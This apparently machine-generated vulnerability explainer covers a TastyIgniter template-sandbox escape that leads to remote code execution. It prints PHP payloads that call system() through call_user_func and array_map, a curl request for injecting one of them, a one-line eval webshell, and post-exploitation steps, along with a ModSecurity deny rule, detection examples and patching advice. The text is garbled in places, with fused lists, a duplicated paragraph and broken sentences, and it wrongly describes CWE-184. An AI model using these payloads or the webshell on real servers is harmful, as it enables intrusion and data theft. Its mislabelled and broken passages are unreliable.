CVE-2026-77612 — CWE-184
TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, TastyIgniter's TemplateSandbox class, uses an incomplete blocklist of dangerous PHP functions. The blocklist explicitly forbids system(), exec(), shell_exec(), and similar functions by name, but does not restrict higher-order functions such as call_user_func, call_user_func_array, array_map, array_filter, and preg_replace_callback. These functions can invoke any PHP callable -- including all the blocked ones -- allowing an authenticated staff user with the Site.Themes permission to achieve Remote Code Execution (RCE) on the server. This issue has been patched in version 4.3.1.
TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, TastyIgniter's TemplateSandbox class, uses an incomplete blocklist of dangerous PHP functions. The blocklist explicitly forbids system(), exec(), shell_exec(), and similar functions by name, but does not restrict higher-order functions such as call_user_func, call_user_func_array, array_map, array_filter, and preg_replace_callback. These functions can invoke any PHP callable -- including all the blocked ones -- allowing an authenticated staff user with the Site.Themes permission to achieve Remote Code Execution (RCE) on the server. This issue has been patched in version 4.3.1.
🎯 What is this vulnerability?
This vulnerability is a Sandbox Escape leading to Remote Code Execution (RCE) in TastyIgniter, an open-source restaurant management system.
Technical Flaw:
The core issue lies in the TemplateSandbox class, which is responsible for restricting the execution of PHP code within the template rendering engine. The implementation relies on a negative allowlist (blocklist) approach to prevent the execution of dangerous system commands. Specifically, it explicitly blocks direct calls to functions like system(), exec(), shell_exec(), passthru(), and proc_open().
However, the blocklist is incomplete because it fails to account for Higher-Order Functions (HOFs) in PHP. PHP allows functions to accept other functions (callables) as arguments. By not restricting functions such as:
call_user_func()call_user_func_array()array_map()array_filter()preg_replace_callback()- Fingerprinting: The attacker identifies the target as running TastyIgniter. This can be done by checking for specific default assets (e.g.,
/vendor/tastyigniter/core/...), meta tags, or the unique URL structure of the admin panel (typically/admin). - Version Verification: The attacker confirms the version is between 4.0.0 and 4.3.0. This might be done by checking the
X-Powered-Byheader (if misconfigured), error messages, or simply attempting the exploit against a known vulnerable version. - Credential Acquisition: Since
PR:His required, the attacker needs valid credentials for a user with theSite.Themespermission. This could be achieved via:
* Credential stuffing/brute-forcing (if weak passwords are used).
* Social engineering a staff member.
* Compromising a lower-privileged account and escalating privileges (if other bugs exist).
Note: In many restaurant systems, staff accounts are created with broad permissions by default.*
An attacker can pass the name of a blocked function (e.g., "system") as a string argument to one of these allowed higher-order functions. The PHP engine then resolves the string to the function pointer and executes it, effectively bypassing the name-based blocklist.
CWE-184 (Inadequate Encryption Strength) is technically a misclassification in the CVE data provided; this is fundamentally a CWE-250 (Execution with Unnecessary Privileges) or CWE-749 (Exposed Dangerous Method or Function) / CWE-94 (Improper Control of Generation of Code). The CVSS vector PR:H (Privileges Required: High) confirms that the attacker must already possess authenticated access with specific permissions (Site.Themes).
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
The attacker logs into the TastyIgniter admin panel as a user withSite.Themes permission. They navigate to the theme editor or template management section where the TemplateSandbox is active.Mechanism:
The attacker injects a PHP payload into a template file (e.g., a header, footer, or custom template). The payload uses a higher-order function to invoke a blocked command.
Illustrative PoC (PHP Payload):
Note: The exact endpoint URI for saving the template is not specified in the CVE description. The following is an illustrative example of the payload structure that would be injected into the template content field.
<?php
// Illustrative Payload for TastyIgniter Template Sandbox Escape
// This code would be injected into a .php template file via the admin UI
// Method 1: Using call_user_func
$cmd = "id"; // Command to execute
$func = "system"; // Blocked function name
call_user_func($func, $cmd);
// Method 2: Using array_map (more obfuscated)
$cmd = "whoami";
$func = "exec";
$result = array_map($func, array($cmd));
echo $result[0];
// Method 3: Using preg_replace_callback (if /e modifier is still supported in older PHP,
// though deprecated, it's a common vector in sandbox escapes)
// Note: /e modifier was removed in PHP 7.0, so this is less likely in modern stacks,
// but call_user_func is the primary vector here.
?>Curl Example (Illustrative):
Assuming the template update endpoint is /admin/themes/update (hypothetical, as exact route is not in CVE):
curl -X POST "https://target-restaurant.com/admin/themes/update" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: session_id=VALID_STAFF_SESSION_TOKEN" \
--data "template_name=header.php" \
--data "template_content=<?php call_user_func('system', 'id'); ?>"Important: The attacker must ensure the template is rendered after saving. This might require visiting the frontend page that uses that template.
3. Post-Exploitation
Once the payload is executed: 1. Command Execution: The attacker achieves arbitrary command execution on the server. 2. Webshell Deployment: The attacker can write a PHP webshell to the web root for persistent access.// Example: Writing a simple webshell
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>');3. Privilege Escalation: If the web server runs as www-data or apache, the attacker can attempt to escalate privileges using local exploits (e.g., kernel exploits, SUID binaries).
4. Data Exfiltration: The attacker can access the database (MySQL/MariaDB) containing customer data, payment information (if stored), and business records.
5. Lateral Movement: From the compromised server, the attacker can pivot to other internal systems if the server is part of a larger network.
🌍 Real World Impact
CVSS Vector Analysis: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Site.Themes permission. This is a significant barrier, as it requires insider access or compromised staff credentials.Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
2. Workarounds (If Immediate Upgrade is Not Possible)
Site.Themes permission from all non-essential staff accounts. Only grant this permission to trusted administrators who are not likely to be targeted for credential theft.
* Implement Multi-Factor Authentication (MFA) for all admin and staff accounts with elevated privileges.
SecRule REQUEST_BODY "call_user_func|call_user_func_array|array_map|array_filter|preg_replace_callback" \
"id:100001,phase:2,deny,status:403,msg:'Potential Sandbox Escape Attempt',log"Note:* This is a heuristic and may be bypassed with obfuscation. It is not a substitute for patching.
3. Detection
POST /admin/themes/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
...
template_content=<?php+call_user_func('system',+'id');/themes/) for unexpected changes or new files.
* Alert on the creation of new .php files in directories where they are not expected.
apache2, nginx worker, php-fpm) spawning shell processes (/bin/sh, /bin/bash).
Example Sysmon Event:*<Event>
<EventID>1</EventID>
<ProcessName>C:\php\php-fpm.exe</ProcessName>
<CommandLine>C:\php\php-fpm.exe -c C:\php\php.ini</CommandLine>
<ChildProcessName>C:\Windows\System32\cmd.exe</ChildProcessName>
<ChildCommandLine>cmd.exe /c id</ChildCommandLine>
</Event>SELECT statements that retrieve large amounts of data or UPDATE/DELETE statements on sensitive tables.⚠️ Urgency
Priority: HIGH
PR:H), the impact is severe (RCE). In the context of restaurant management systems, staff accounts are often numerous and may have weaker security practices (e.g., shared passwords, lack of MFA).Site.Themes permissions to a minimal set of trusted users and enable MFA.
3. Ongoing: Implement FIM and process monitoring to detect any exploitation attempts.Conclusion: This vulnerability allows a compromised staff account to escalate to full server compromise. Given the criticality of RCE and the potential for data breach, patching should be treated as urgent.
[🤖 CVE Professor AI Security Engine]
FOFA Query